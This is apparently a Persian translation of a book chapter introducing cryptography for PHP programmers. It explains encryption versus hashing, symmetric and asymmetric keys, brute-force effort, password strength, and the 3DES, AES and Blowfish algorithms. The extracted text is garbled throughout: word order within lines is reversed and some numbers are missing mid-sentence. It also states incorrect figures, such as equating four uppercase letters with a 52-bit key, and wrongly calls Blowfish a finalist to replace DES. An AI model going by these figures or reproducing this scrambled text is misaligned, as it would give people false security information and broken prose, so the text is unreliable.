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 ) تئوری( 1رمزنگاری از اول: استفاده فصل 1

 از بخشی که حالی است: در آشکار سوال این پاسخ مطمئنا کنیم؟ استفاده رمزنگاری از خواهیممی چرا

 دارد وجود نیز اطلاعات از عظیمی بخش باشند، عمومی است ممکن رایانه یک روی بر شده ذخیره اطلاعات

 با شخصی اطلاعات دسترسی، به مرتبط اطلاعات سایر و عبور باشد. رمزهای عمومی نباید و نیست عمومی که

 دلیل همین به باشد؛ دسترس در باید اطلاعاتی آخر. چنین الی و سازمانی حساسهای داده مختلف، انواع

 هر دسترس از و شود مخفی ایگونه به باید اطلاعات این است. ولی شده ریخته رایانه روی بر اول از که است

 در فصل، این گردد. در دور بیابد، راها آن است ممکن شوم، اهداف با یا اتفاقی صورت به که سومی طرف نوع

 نمود. ما خواهیم بحث داده،پایگاه یک در یا دیسک روی بر چه اطلاعات، کردن مخفی چرایی و چگونگی مورد

 از بسیاری و PHP از استفاده با را غیرمتقارن و متقارن رمزنگاری توانمی چگونه که پردازیممی مسئله این به

 مورد درها آن در که کندمی آماده بعدی فصولجهت  را زمینه فصل، داد. این انجام معمولهای الگوریتم

 . شودمی بحث کاربران، از خاص گروه یکجهت  غیرعمومی اطلاعات این به دسترسی یارائه

های روتین از خواهدمی بار اولینجهت  که را خواننده یک سوالات تا ایمنموده تلاش فصل، این نگارش در

 چگونه و میدهد، انجام کاری چه دارد، وجود چیزی چه بیرون نماییم: آن بینیپیش کند، استفاده رمزنگاری

 کار فضا این در که افرادی و است گسترده بسیار رمزتحلیل یحوزه کنم؟ استفاده PHPدر  آن از توانممی

 ایجاد سخت، یمسئله یکجهت  را آمیزی نبوغهای حل راه افراد دارند. این آن به شدیدیی علاقه کنند،می

های هزینه با گاهی امر این و کنیم استفادهها آن از تا اندداده قرار ما یبقیه دسترس در راها آن و اندنموده

 دهید قرار بحث مورد خواهیممی که هاییروش وها الگوریتم حال، هر است. )به بوده همراه فراوانی شخصی

 آیند(. می شمار به سلاح عنوان به عموما

 توانید ازمی که آنجا تا که است اینها روش این از استفادهجهت  ریزیبرنامه هنگام در شما یوظیفه از بخشی

RFCرسمی منبع و شوندمی منتشر اینترنت مهندسی یویژه نیروی توسط که نظراتجهت  )درخواست ها 

 بگیرید. بهترین نظری یادهای بحث از ( و هستند اینترنتیهای فعالیت مختلف ابعاد خصوص در فنیهای داده

 نگاشته متخصص مخاطبانجهت  تنها که دلیل این به رمزشناسی، و رمزنگاری خصوص در عمومی کتاب

 وایلی، )انتشارات اشنایر بروس و فرگوسن نیلز ینوشته کاربردی رمزنگاری کتاب از است عبارت است، نشده

 المعارفدایرة مرجع ( یک1995 اکتبر )وایلی، کاربردی کریپتوگرافی نام با اشنایر قبلی (. کتاب2003 مارس
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گردند. می رمزنگاریهای روش و تئوری از ترعمیق درک یک دنبال به که است افرادیجهت  استاندارد

 یافت.  ویکیپدیا خوب یمقاله در توانمی را معمولهای الگوریتم عمومی از و خوب توصیفات

 ادامه دوم فصل در را بحث این و کنید آغاز را کار تا کنیم کمک شما به خواهیممی تنها ما فصل، این در

 شده بحث رمزنگاری وظایف از بعضی انجامجهت  را PHPهای اسکریپت از هایینمونه آن، در که داد خواهیم

 نمود.  خواهیم ارائه اینجا، در

  2سازیدرهم و رمزنگاری تفاوت 1.1

موضوع  دو بین تمایز که چرا باشد نادرستای گونه به شاید« رمزنگاری از استفاده» فصل، این عنوان

 قرار نظر سازی را مددرهم و نشود خوانده سادگی به کهای گونه به اطلاعات کردن رمزنگاری که جهت مخفی

 یک واضح به متنی فرمت از اطلاعات تبدیلجهت  الگوریتم یک اعمال با را رازها ها،روش این دو دهد. هرنمی

 استفاده 3کلید یک از الگوریتم این رمزنگاری، مورد کنند. درمی مخفی شده، رمزنگاری غیرمتنی فرمت

پذیر نیز معکوس تبدیل است( و شده انتخاب تصادفی صورت به که بزرگ خیلی مقدار یک )معمولا کندمی

 به خود ساده متن اطلاعات سازی،درهم مورد در گیرد. ولی قرار استفاده مورد کلید همین که شرطی به است

 و فرد به منحصر امضای یک عنوان به آمدهارائه  یشده رمزنگاری پیام و شودمی محسوب کلید عنوان

شود.  تولید ساده، متنی یرشته همان از استفاده با تواندمی تنها که کندمی عمل سازی،وارون غیرقابل

 سازیدرهم و بمانند باقی پنهان باید که شوندمی استفاده هاییپیام انتقالجهت  اغلب رمزنگاری بنابراین،

 است.  شده ارسال که است پیامی همان دریافتی پیام که رودمی کار به امر این )هشینگ( جهت تایید

  رمزنگاری 1.2

 لازم مجوزهای که فرآیندهایی و افراد برابر در باید اطلاعات بعضی قانون، براساس چه و سیاست براساس چه

 که هرچند بماند باقی برقرار بتواند باید حفاظت گیرند. این قرار حفاظت مورد ندارند، را آن به دستیابیجهت 

 را حفاظت این  بتواند تا باشد ابزارها از عظیمی یمجموعه و اطلاعات این بر مالکیت دارای کننده حمله یک

 رمزنگاری به کار این نجام دهد. جهت ا تغییر را اطلاعات این آن، از بدتر حتی و بخواند را اطلاعات وه شکست

 که رازهایی حال، هر آن. به یدوباره بازیابی و ملأعام در اطلاعات نمودن پنهان علم یعنی آوریم،می روی

 خواهند ایجاد خوردن غذا موقع را جالبی مکالمات )هرچند بود خواهند بیهوده نباشند، خواندن قابل هیچگاه
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 تنها مناسب، الگوریتم طریق از صحیح، کلید کاربرد است: اساسی رمزنگاری،جهت  کرد!(. یک اصل

 . است اولیه حالت به اطلاعات بازگرداندنجهت  روش

 و نموده استفاده 1234 کلید یک از ما که کنید فرض رمزنگاری، از ساده بسیار مثال یک یارائه برای

 است:  زیر صورت به نیز ما الگوریتم

 ببرید.  بالا به الفبا حروف در کلید، مقدار اولینی اندازه به را پیام حرف اولین -1

 ببرید. پایین به الفبا حروف در کلید، مقدار دومینی اندازه به را پیام حرف دومین -2

 ببرید. بالا به الفبا حروف در کلید، مقدار سومینی اندازه به را پیام حرف سومین -3

 ببرید. پایین به الفبا حروف در کلید، مقدار چهارمینی اندازه به را پیام حرف چهارمین -4

 شود.  رمزنگاری پیام، کل که زمان تا تکرار -5

 حرف اولین یعنی کنین، تبدیل« icnip» به را« hello» پیام توانیممی ما الگوریتم، این و کلید این داشتن با

 همچنان ما که شرطی به ادامه، غیره. در و کنیم جابهجا واحد دو را حرف دومین و ببریم بالا واحد یک را

 این به کنیم رمزگشایی« hello» به را« icnip» توانیممی باشیم، داشته دست در را 1234ی اولیه کلید

 بالا(. -پایین-بالا-)پایین بگیریم کار معکوس به صورت به را الگوریتم که صورت

 شامل معمولا و سادگی نیست، این به ذاتا هرچند کند،می تبعیت کلیی رویه همین از نیز واقعی رمزنگاری

 متن در کلید و اولیه متنی سایه نوع هر کهای گونه به باشدمی تصادفیهای داده افزودن با عبور چندین

 شود.  محو رمزشده،

 هستند:  شده استفاده کلید نوع بر مبتنیها دارد. تفاوت وجود رمزنگاری اجرایجهت  کلی روش دو

 رمزنگاریجهت  کلید هستند. اینیکسانی  رمز کلید دارای طرف دو هر متقارن، رمزنگاری : در4متقارن -1

 کهای ساده نماید. )الگوریتم رمزگشایی را آن تواندمی که است چیزی تنها و گیردمی قرار استفاده مورد پیام

 شما که شرطی به است سازیوارون قابل سادگی به است؛ متقارن رمزنگاری از مثالی شد داده نشان بالا در

 به طرف دو هر که است آن نیازمند ولی است موثر و سریع معمولا رمزنگاری از نوع بدانید(. این را کلید

 کلید چنین از که رمزنگاری معمولهای باشند. الگوریتم داشته اختیار در را حیاتی اطلاعات قطعه یکای گونه

 . 3DES و AES ، Blowfish از عبارتند کنندمی استفادهمتقارن 
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 طرف هر واقع، ندارند. در کلید یکسان یک داشتن به نیازی طرف دو نامتقارن،رمزنگاری  نامتقارن: در -2

 یک توسط شده رمزنگاری پیام یک که کندمی تضمین الگوریتم و است خود مخصوص کلیدهای جفت دارای

 نامندمی( public« )عمومی» را کلیدها از نمود. یکی رمزگشایی دیگر، کلید از استفاده با تنها بتوان را کلید

 آن، از استفاده با را پیام یک خواهدمی که شود ارسال کسی هرجهت  یا و شود منتشر مکانی در تواندمی که

 از استفاده با اغلب )و شودمی داشتهنگه مخفی و ( بودهprivate« )خصوصی» دیگر نماید. کلید رمزنگاری

 طرف هر نمود(. اکنون جعل دیسک، روی از را آن تواننمی کهای گونه به شودمی ایمن عبوری عبارت یک

ها پیام این و نماید رمزنگاری دیگر، طرف عمومی کلید از استفاده با را دیگر طرف به ارسالیهای پیام تواندمی

 معمول الگوریتم شوند. دو رمزگشایی وی، خصوصی کلید از استفاده با و دیگر طرف توسط توانندمی تنها

 در ولی شودمی ( نامیدهDiffie-Hellman) هلمان-دیفی معمولا که چیزی و RSA از عبارتند نامتقارن

 از لایه یک نامتقارن رمزنگاری. شود ( نامیدهDiffie-Hellman-Mercle) مرکل-هلمان-دیفی باید واقع

 امنیت این همراه به ولی کرد خواهد اضافه کند،می استفاده آن از کهای برنامه نوع هر به را اضافی امنیت

 محاسبات نیازمند نامتقارن رمزنگاری علاوه، گردد. بهمی اضافه نیز استفاده در پیچیدگیی لایه یک اضافی،

 نباشد.  دسترس در زیادی محاسباتی قدرت اگر باشد زا مشکل تواندمی که هستزیادی 

 (سازی )هشدرهم 1.3

 تغییر انتقال، هنگام در پیام این که فهمید توانمی چگونه ولی است چیز یک پیام یک داشتننگه خصوصی

 استفاده مورد عملکرد این اجرایجهت  توانمی سازی رادرهم باشد(؟ نشده خوانده اگر )حتی است نشده داده

 و تغییر و کندمی ایجاد خود ورودی از را فرد به منحصر مقدار یکسازی درهم الگوریتم داد. یک قرار

 شود( تامی نامیده هم 5دایجست )که است ریخته( غیرممکن )درهم شدهسازی درهم مقدار آن دستکاری

 حتی که چرا شودمی نامیده نیز سویهیک رمزنگاریسازی، درهم بازگرداند. گاهی، قبلی حالت به را آن بتوان

 نماید.  استخراج آن از اطلاعاتی هیچ تواندنمی، است نموده ایجاد راسازی درهم که کاربری

 است:  شده آورده زیر در سازیدرهم از ساده مثال یک

 کن.  جمع هم با را پیام کارکترهای ASCII مقادیر -1

 کن.  اعمال را قبلی مثال در استفاده مورد الفبایی جایگزینی روتین تجمعی، مقدار این از استفاده با -2
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 مجموع همان )که نمود خواهد ایجاد را 526 با برابر مقدار یک« hello» پیام الگوریتم، این از استفاده با

جهت  که مستقل مقدار )یعنی، نیست کلید یک مقدار باشد(. اینمی helloی کلمه حروف ASCII مقادیر

 به پیام این الگوریتم، این اعمال است. با شده تولید پیام خود از مقدار این که چرا شود(، استفاده پیام تغیییر

«mbnjq »شود. هیچمی لازم( تبدیل تعداد تا تکرار و بالا، به مورد شش پایین، به مورد دو بالا، به مورد )پنج 

 الگوریتم کلیی رویه ما اگر حتی بازگردانیم،« hello» به را« mbnjq» بتوانیم که ندارد وجود راهی

 است.  شده اعمال الگویی چه با الگوریتم این که دانست نخواهیم بدانیم، نیز الفبایی( را )جایگزینی

 شامل بانکی تراکنش یک آن. اگر دهد: طولمی لو را پیام مهم ویژگی یک فورای فوق ساده مثال حال، این با

 را بالاتری بسیار توجه است ممکن تراکنش این دارد، طول کاراکتر نه که باشد مقدار یک ازسازی درهم یک

 مثال یک عنوان سه. به طول تنها با مشابه تراکنش یک تا نماید مبذول خود به کننده حمله یک سوی از

 شکلی به اطلاعات این است، کاراکتر پنج دارای پسوردسازی درهم یک که شود مشخص اگر تر،وخیم

 هایشد. الگوریتم خواهد brute-forceی حمله یکجهت  نیاز مورد تلاش کاهش موجب افزایشی

 پر را نهاییی تکه نیاز، صورت در و کنند،می تقسیم مساوی طول باهای تکه به را پیام واقعی، سازیدرهم

 همواره که نمایند ایجاد راسازی درهم یک تا کنندمی کارها تکه این از ترکیبی روی بر سپس و کنندمی

 است.  بوده طولانی چقدر اولیه پیام اینکه به توجه بدون است، برابر طولی دارای

 چه روش این کنیم، استخراجسازی درهم یک از را اولیه پیام خصوص در اطلاعاتی هیچ نتوانیم ما اگر حال

 باید دهیم، قرار استفاده مورد بتوانیم را اطلاعات این اینکهجهت  حال، هر به دارد؟ رازها حفظای جهت فایده

 مهم بسیار ویژگی سه دارای باشد شده ایجاد درستی به کهسازی درهم یک بازگردانیم. ولی را آن بتوانیم

 باشد: می

 را دیگر متنی مقدار یک که نیست عملی محاسباتی لحاظ از ولی دارد وجود امکان این نظری صورت به -1

 نامیم(. می ،6تصادم ، را هاییسازیدرهم )چنین نماید تولید راسازی درهم مقدار همین که کنیم پیدا

 بود.  خواهد یکسان هموارهسازی درهم مقدار هش، الگوریتم یک و شده داده متنی پیام جهت یک -2

کنند. می ایجاد را متفاوتی بسیار مقادیر مشابه،های پیام حتی مفروض،سازی درهم الگوریتم جهت یک -3

 )که« bello»جهت  داد، نشان نیز بالای ساده الگوریتم و کوتاه پیام با حتی سادگی به توانمی را امر این

 اصلا که کندمی ایجاد را« gcrgq»سازی درهم یک الگوریتم این است(،« hello» با شبیه بسیار مابرای 

 نیست. « mbnjq»مشابه 
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 بازخوانی تواندنمی را آن پیام که )چرا نخورد درد به اطلاعات، انتقالجهت  سازیدرهم اگر حتی بنابراین،

 وارد را عبور رمز یک کاربر یک که بود قرار اگر است. برای مثال، ارزش با بسیار اطلاعات، تاییدجهت  نمود(،

 بدانیم باید واقعا که چیزی چیست؛ عبور رمز این که بدانیم دقیقا ما که ندارد اهمیتی امر این اصولا نماید،

 وارد قبلا که هست عبوری رمز با منطبق بعد دفعات در کاربر توسط شده وارد عبور رمز این آیا که است این

 هستند یکسان آزادی نقطه یک دارای حتما هستند منطبق هم با که شدهسازی درهم مقدار است. دو نموده

 باشند.  شدهسازی درهم یکسان الگوریتمی با اگر

سازی درهم مقدار یک به منجر گیگابایتی چند پیام یک در تغییر ترینکوچک حتی کردیم، بیان که طورهمان

 در MD5 با رابطه در که طورهمان نیست، ساده حد این تا امر این همیشه، شود)مثلمی متفاوت کاملا

 مورد معمولهای الگوریتم از کنیم.( تعدادیمی بیان فصل همین در« پیشنهادیسازی درهم توابع» بخش

 . SHA-1 و MD5 از عبارتند سازیدرهمجهت  استفاده

 

  الگوریتم قدرت 1.4

سازی بر رمزنگاری را معمولا با طول کلید و برای الگوریتم درهمقدرت متن رمز شده توسط یک الگوریتم 

-bruteی حمله یک باشند،تر طولانی مقادیر این چه هر که دلیل این کنند، بهاساس طول دایجست بیان می

force راه که زمانی تا کندمی امتحان بعدی حل راه از بعد را بالقوه حل راه یک کننده حمله آن، در )که 

 (.CPUی چرخه اساس )بر کشید خواهد طول کند( بیشترمی کار که بیابد را حلی

 به 2 دارای که کردیم بیتی( استفاده 4 عدد )چهار 1234 بیتی 16 کلید یک از ما ساده، رمزنگاری مثال در

 ممکن مقدار هر توانیدمی بزنید، حدس را کلید بار یک ثانیه هر در است. اگر ممکن مقدار 65536 یا 16 توان

 یک با را کار این توانیدمی باشید، داشته را لازمی انگیزه کنید. اگر امتحان ساعت، 18 از بیش زمانی در را

 کند( بهمی فرض رمزنگاریی جامعه که طور)همان که کنیم فرض اگر خصوصا دهید، انجام کاغذ و مداد

 لازم، ممکن مقادیر تمامی بررسیجهت  که کندمی صرف را زمانی نصف موفق،ی حمله یک متوسط، صورت

 به 2 که آنجا باشد. از تواندمی ممکن مقدار 128 توان به 2 دارای بیتی، 128کلید  یک دیگر، سوی است. از

 حدس که نیست سخت ، با بود خواهد برابر 128 توان

 صورتی در است. ولی ایمن brute-forceهای حدس برابر در زیادی حد تا طولی چنین با کلید یک که بزنیم

 چرخه هزار در کار حال )در هرتزی گیگا یکی پردازنده یک کنید، تجسم را امر این توانیدنمی کامل شما که

 از کدام هر تا دارد لازم وقت سال ی اندازه به ثانیه( چیزی در

 یک بکشد. بدون طول CPUی چرخه یک حدس هر که فرض این با کند، بررسی را ممکن ترکیبات

 تا کشید خواهد طول فراوانیهای سال کوانتوم(، محاسبات )مثل محاسباتی فناوری در توجه قابل پیشرفت

 بشکند.  brute force از استفاده با را بیتی 128 کلید یک بتواند پردازشی قدرت یک
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-bruteی حمله برابر در نسبتا را کندمی ایجاد را طولانی نسبتا دایجست یک کهسازی درهم الگوریتم یک

force کنند.می محسوب مقاوم 

 نماید. جهت مثال، محدود راسازی درهم یا موثر کلید طول تواندمی رمزنگاریهای الگوریتمهای ضعف

 مثلا که چرا زد حدس دیگری زیرمجموعه یک ازتر ساده توانمی را رمزنگاری کلیدهای ازای زیرمجموعه

 باشد، داشته وجود وضعیت این هست. اگر دیگری ریاضیاتی ویژگی یک یا و تکراری مقدار مجموعه یک دارای

 یابد. جهت مثال، کاهش زیادی حد تا است ممکن بزند حدس باید کننده حمله یک که کلیدهایی تعداد آنگاه

 نماید، تسهیل را بیتی 128 کلید از بیت 48 از غیر بهها بیت تمام زدن حدس که شود یافت حمله یک اگر

 انجام را ممکنهای حدس تمامی تا دارد نیاز وقت سال 8925تقریبا  به تنها ما گیگاهرتزی یک CPU  آنگاه

 آوریجمع را بالا عملکرد باهای سیستم از عظیمی خوشه یک تواندمی بالای انگیزه با کننده حمله دهد. یک

 بزند.  حدس اندکی، زمان در واقع در را کلید این و کرده

 با شما رمزنگاری، طریق ازها داده از حفاظتجهت  کلید طول یک انتخاب هنگام که ماندنمی خاطر به همواره

 حال، هر هستید. به مواجه آینده، سال سی تا دههای سیستم محاسباتی قدرت تخمین غیرممکنی وظیفه

 چرا شودمی گرفته نادیده سادگی به مورد این که رسدمی نظر به بود؟ خواهد چقدر شمای برنامه عمر طول

 حال در اصلیهای سیستم روی بر همچنان 1980 و 1970ی دهه در شده نوشتههای برنامه بسیاری که

 در زدن حدس برابر در کامل صورت به که شدهسازی درهم یا رمزنگاری مقدار یک هستند. بنابراین، استفاده

 از بیش زمان آن زدن حدس کنونی، محاسباتی قدرت به توجه با که دلیل این )به است مقاوم حال، زمان

 داشته کمتری بسیار مقاومت شما،ی برنامه عمری چرخه انتهای در است داشت( ممکن خواهد نیاز حدی

 زمان طول بنابراین و باشد امروز از بالاتر برابر صدها است ممکن محاسباتی قدرت زمان، آن در که )چرا باشد

 طول از تابعی نقص این که باشید داشته یاد یابد(. به کاهش زیادی حد تا کلید، زدن حدسجهت  نیاز مورد

 ها هست. پیچیدگی( داده )و طول نه و کلید

  عبور رمز قدرت خصوص درای نکته 1.5

 وارون قابل غیرسازی درهم مقادیر و بزرگ تصادفی رمزنگاری کلیدهای پیرامون بحث حال در ما که هرچند

 حمله برابر در سیستمی هر کلی مقاومت که باشیم داشته خاطر به که است مهم هستیم، بخش این در

 از استفاده حال در شما که باشد نداشته اهمیتی امر این است است. ممکن قسمت ترینضعیف قدرت براساس

 یک در عبور رمزهای این اگر هستید عبور رمزهایی ذخیرهجهت  بیتی 1024رمزنگاری سازی درهم یک

 عظیم لغت فرهنگ در مدخل هزار 230حدود  در شوند. تنها زده حدس سادگی به لغت فرهنگی حمله

 عنوان به انگلیسی لغات از استفادهجهت  کاربران به دادن اجازه بنابراین ،دارد وجود انگلیسی آکسفورد

 قوی توانندمی کوتاه عبور رمزهای حتی شد. ولی نخواهد بالایی امنیت و محافظت به رسیدن باعث رمزعبور

 بگیرید:  نظر در را کاراکتری چهار عبور رمزهای از زیر زد. انواع حدس راها آن سادگی به نتوان اگر باشند
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  ( ترکیب)  26 توان به 4 به منجر بزرگ، حرف همگی A-Z کاراکتر، چهار

 است.  بیتی 52 کلید یک با برابر که شودمی

 یک با برابر که شودمی ترکیب 62 توان به 4 به منجر کوچک، و بزرگ حروف عددی، و الفبایی کاراکتر، چهار

 است.  بیتی 124 کلید

 گردد. می ممکن ترکیب 94 توان به 4 عظیم تعداد به فاصله( منجر )شامل ASCII چاپ قابل کاراکتر چهار

 کنند)مثلمی محدود کاراکتر چهار تنها به را رمزعبور یک کنونی،های برنامه از اندکی تعداد اینکه به توجه با

ATMایجاد را قوی بسیار حفاظت توانندمی 7رمزعبورها هستند(، توجه قابل استثنای یک کهها بانک های 

 آشنا الگوهای شامل و بمانند خاطر به سادگی به که دهندمی ترجیح را رمزعبورهایی کاربران کنند. متاسفانه،

 کاهند.می عبور رمز قدرت از زیادی حد تا بینیپیش قابل الگوهایباشند.  ساده تایپ با یا

 قابلیت و خاطرآوری به قابلیت بین تعادل یک کنندمی تلاش که دارد وجود عبوری رمز تولید ابزارهای

 از ترکیبی شامل که کنندمی استفادهای پیچیده های الگو از که صورت این به آورند وجود به را بینیپیش

 GeodSoft اسکریپت ابزارهایی، چنین از باشد. یکیمی هاعلامت و اعداد کوچک، حروف بزرگ، حروف

 چندین از که اساس این بر کند.می ایجاد را عبور رمزهای از بیشتر تعدادی یا ده، کاربرجهت  که باشدمی

 بمانند، خاطر بهتر راحت اندکیشده ایجاد تصادفی عبور رمزهای شوندمی باعث که کندمی استفاده الگوریتمی

 که، داریم اعتقاد انگلیسی. ما کلمات مانند به صدادار و صدابی حروف جفت بین تغییر با مثال،جهت 

هستند.  آن، از استفاده قابلیت و عبور رمز قدرت بین قبول قابلی مصالحه یک چنینی این رمزهاعبورهای

 بیشتری احتمال ولی داشت، خواهد بالاتری بسیار ایمنی ASCII کارکترهای از 8تصادفی کاملا سری یک

 گردد.  ذخیره غیرایمن محلی در یا و شود نوشته جایی در که دارد

 )که 2004 سال در معروف بسیار پیمایش دارد. یک وجود رمزعبور قدرت بررسی هنگام نهاییی ملاحظه یک

 فاش شکلات تکه یک برابر در را خود رمزعبور که دارند تمایل کاربران از درصد 71 که نیست( دریافت علمی

 ولی کنیممی خودداری امنیتی تهدید یک عنوان به اجتماعی مهندسی پیرامون بحث از معمولا . ماکنند

 هستند.  ایمنی سیستم هر در حلقه ترینضعیف اغلب بشر افراد که است این واقعیت

                                                   

 

 

7 Password 
8 Random 
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  پیشنهادی رمزنگاریهای الگوریتم 1.6

های تلاشی نتیجه شود ولی درمی انجام درستی بهزحمت،  به برنامه یک به موثر رمزنگاری افزودن هر چند

 از دهد، قرار استفاده مورد تواندمی کسی هر که دارد وجود رایگانی افزارینرمهای برنامه روشنفکر، رمزگذاران

 قانونیهای محدودیت تاثیر تحت که کسی هر که یعنی - OpenSSLهای کتابخانه و mcrypt قبیل

 رمزنگاریهای الگوریتم که باشید داشته یاد ندارد. )به قرار رمزنگاری افزارهاینرم از استفاده یا و واردات

 در بحث اینی خلاصه به شوند؛ نگریسته سلاح عنوان به سایرین یا و متحده ایالات دولت توسط است ممکن

 نمایید.(  مراجعه فصل این انتهای

 ازی عظیم تعداد یک شامل اغلب گرفت، قرار اشاره مورد بالا در که موردی دو قبیل از رمزنگاریهای کتابخانه

 تاریخی دلیل به است ممکنها الگوریتم از دارند. تعدادی الگوریتم مختلفی تعداد و هستند حالات وها گزینه

 شده آوردههای الگوریتم شوند. سایرمی واقع مفید واقعی، دنیای در که دلیل این به نه و باشند شده آورده

 در باشند. بنابراین، نگرفته قرار رمزنگاریی جامعه بررسی مورد کافی حد به و باشند جدید نسبتا است ممکن

 گیرند،می قرار استفاده مورد زیادی حد تا که رمزهایی که بریممی پیش به را عقیده این ما بخش، این

 ما و دارند را مقاومت بالاترین حملات برابر در بنابراین و اندگرفته قرار بررسی مورد شکل بهترین به همچنین

 ایجاد تازه کههای الگوریتم نه و هستند محبوب حاضر حال در که کنیممی تمرکز هاییالگوریتم روی بر

 در و قرارگرفته استفاده مورد رایگانهای کتابخانه در که کنیممی مواردی به محدود را خود اند. همچنین،شده

 مورد عمومی صورت به GnuPG و ،AES ، Blowfish، DES3 ، RSAندارند.  قرار ثبت حق محدودیت

 مورد درستی به که هنگامی شوندمی محسوب ایمن معمولا همگی و هستند رایگان و گرفته قرار استفاده

( جهت GnuPG از غیر )به رمزها این باشند. تمامی منطقی کلید طول دارای و گیرند قرار استفاده

 و mcrypt (AES، DES3 ، Blowfish) از پشتیبانی که شرطی به هستند دسترس در PHPهای برنامه

 PHP درون از بیرونیهای برنامه فراخوانی با راها آن توانمی شود. همچنین روشن OpenSSL (RSA) یا

 گیرد(. می قرا بررسی مورد فصل اینی ادامه در امر این )که داد قرار استفاده مورد

  متقارنهای الگوریتم 1.6.1

 رمز کلید دارای طرف دو هر ،هاآن در که هستند هاییالگوریتم متقارن،های الگوریتم شد، بیان طورکههمان

 راحت مسئله این تضمین است ممکن که است این متقارن کلیدهای با بالقلوه مشکل باشند. یکمی یکسانی

 کار این بتوان اگر حال، این یابد. بامی انتقال دیگر، طرف به طرف یک از ایمن صورت به کلید این که نباشد

 . ارائه نمایند را ساده و ایمن رمزنگاری از بالایی سطوح توانندمی متقارنهای الگوریتم آنگاه داد، انجام را
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1.6.1.1 3DES 

3DES یا( DES در سه )به یک عنوان به تاکمن والتر توسط 1998 تا 1997های سال حدود در ابتدا گانه 

 الگوریتم یافت. این شود( توسعهمی خوانده دس معمولا که DES) داده رمزنگاری استانداردجهت  روزرسانی

 در فدرال دفاتر توسط ادامه، بود. در یافته توسعه IBM در تاکمن شامل تیمی توسط 1970ی دهه اوایل در

( NSA) ملی امنیت آژانس پیشنهاد به متحده ایالات دولت استدانداردهای ملی مرکز توسط 1976 سال

 گرفت.  قرار استفاده مورد

DES جهت  پاریتیهای پاریتی(. بیت بیت + هشت بیت 56) بود کوتاه کلید طول مشکل دارای اولیه

 پیام رمزگذاریجهت  شدن استفاده از قبل ولی گیرندمی قرار استفاده مورد کلید رمزگشایی در خطا تشخیص

ی دهه اواسط در کوتاهی، کلید چنین در موجود ضعیف امنیت از شوند. نظرات دانشگاهیمی ریخته دور

 ایمن که گردید پیام یک رمزگشایی طریق از  DES جهت شکستن brute-force حملات به منجر ،1990

 1976 از بعدهای سال طی که شد تسهیل محاسباتی قدرت در نظیر بی رشد دلیل به تلاش شد. اینمی تلقی

 موفق شکستن ،1999 سال تا ولی کشید طول 1997 اوایل در ماه سه تقریبا موفق تلاش بود. اولین داده رخ

 دلیل به الگوریتم این به اطمینان داد. عدم انجام روز یک از کمتر شدمی سفارشی افزارسخت از استفاده با را

 داده درخواست NSA که شایعات این دلیل به البته و یافت افزایش متخصصان، روش بر دولت کنترل از تنفر

 از خواهدمی دولت که نمودند فرض حساس کاربران شود؛ افزوده الگوریتم این در پشتی درب نوعی که است

 کند.  جاسوسی رمزنگاری مجامع

 تلاش آمد. در وجود به شودمی شناخته گانهسه DES یا 3DES عنوان به اکنون که الگوریتمی نتیجه، در

 سپس رمزنگاری، کند: ابتدامی استفاده DES عملیات سه از ترکیبی از الگوریتم این امنیت، بهبودجهت 

 با برابر موثر کلید طول یک فرآیند متفاوت. این کلید یک با کدام هر دوباره و رمزنگاری سپس و رمزگشایی

 این دهد. هرچندارائه می شوند( رامی انداخته دور که پاریتی بیت 24 شامل بیت، 192 واقع )در بیت 168

آن  شکستن چگونگی خصوص در هاییتئوری که نکشید طول زیاد کند،می تقویت را امنیت واقعا تغییرات

 روشی بود. لاکز مانهایم دانشگاه از لاکز استفان سوی ( از1998 )در آن مورد اولین ظاهرا که شد، پیشنهاد

 که صورتی در )اصولا که بود داده پیشنهاد را محاسباتیی مرحله 90 توان به 2 در 3DES شکستنجهت 

 نشده انجام نیست( تاکنون عجیب باشید، داشته خاطر به را محاسباتی چنین اجرایجهت  ضروری زمان

 است. 

 که هستند مطالبی رمزنگاریجهت  محبوبیهای انتخاب ( همچنان3DES )و DES تاکنون، حال، این با

 طولانی مدت به DES که است این محبوبیت این دلیل از باشند. بخشینمی شدید بسیار رمزنگاری نیازمند

 مورد مکرر صورت به و دارد وجود آن با کار در زیادیی تجربه نتیجه، در و بود، دست این ازی برنامه تنها

 است.  گرفته قرار استفاده
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1.6.1.2 AES 

 رقابتی ،1997 سپتامبر 12 ( درNIST) فناوری و استانداردها ملی انستیتوی ،DES ذاتیهای ضعف درک با

 الگوریتم یک ریجمن وینسنت و دایمون جون بلژیکی، نمود. رمزگذاران ایجاد را جایگزین الگوریتم یکجهت 

 تلفظ دال-راین که دو اینهای نام از شده ساخته ترکیبیی کلمه )یک Rijndael را آن که دادند پیشنهاد را

 انتخاب (،AES) پیشرفته رمزنگاری استاندارد ،Rijndael از کارانه محافظه ویرایش شود( نامیدند. یکمی

 AES رسمی گرفت. استاندارد قرار استفاده مورد DES رسمی جایگزین عنوان به 2001 دسامبر در و شد

  شد. اعلام ،197 فدرال استاندارد  پردازش استانداردهایی مجله در

AES تغییر اندکی بعد سال دو یکی طی ولی بود شده طراحی بیتی 128 کلیدهای از استفادهجهت  ابتدا در 

جهت  NSA توسطتر پیشرفتههای ویرایش این و کند استفاده بیتی 256 یا 192 کلیدهای از تا شد داده

 شدند.  تایید نیز 2003 سال در محرمانه فوق اسناد رمزنگاری

 شده الگوریتم این از خصوصیی استفاده به وافری علاقه به منجر استاندارد اینجهت  دولتی پشتیبانی چنین

گیرد. می قرار استفاده مورد روزافزونی صورت ولی به است، تازه نسبتا هنوز هرچند ،AES امروزه و است

 بدون و سادهی استفاده با سریع، الگوریتم این که است واقعیت این افزایدمی آن محبوبیت به که چیزی

 باشد. می حافظه از زیادی استفاده

1.6.1.3 Blowfish  

 پیشنهاد 1994 سال در اشنایر بروس توسط ابتدا در شودمی نامیده Blowfish که رمزنگاری الگوریتم یک

 یک عموما نشد، انتخاب دولت توسط بود. هرچند DES جایگزینیها جهت فینالیست از یکی نهایت در و شد

 باز منبع در عالی، بسیار اضافی مزیت دارای الگوریتم شود. اینمی محسوب AESجهت  قبول قابل جایگزین

 Blowfish بودن، دسترس در دلیل باشد. بهنمی گواهی و لیسانس و اختراع حق دارای بنابرین و بودن است

 کاربری یک میان، این است و در موجودها زبان از بسیاری در محلی روتین یک عنوان به گسترده صورت به

PHP نام با گرا شیء LingoFish دارد. وجود 

 Blowfish یک باشد. البته،می 448 تا 32 از بیت هشت از ضریبی هر در کلیدها طول از استفاده به قادر 

 گیرد.  قرار نظر مورد گرایانهواقع امنیتی حداقل یک عنوان به باید بیتی 128 حداقل کلید طول

1.6.1.4 RC4 

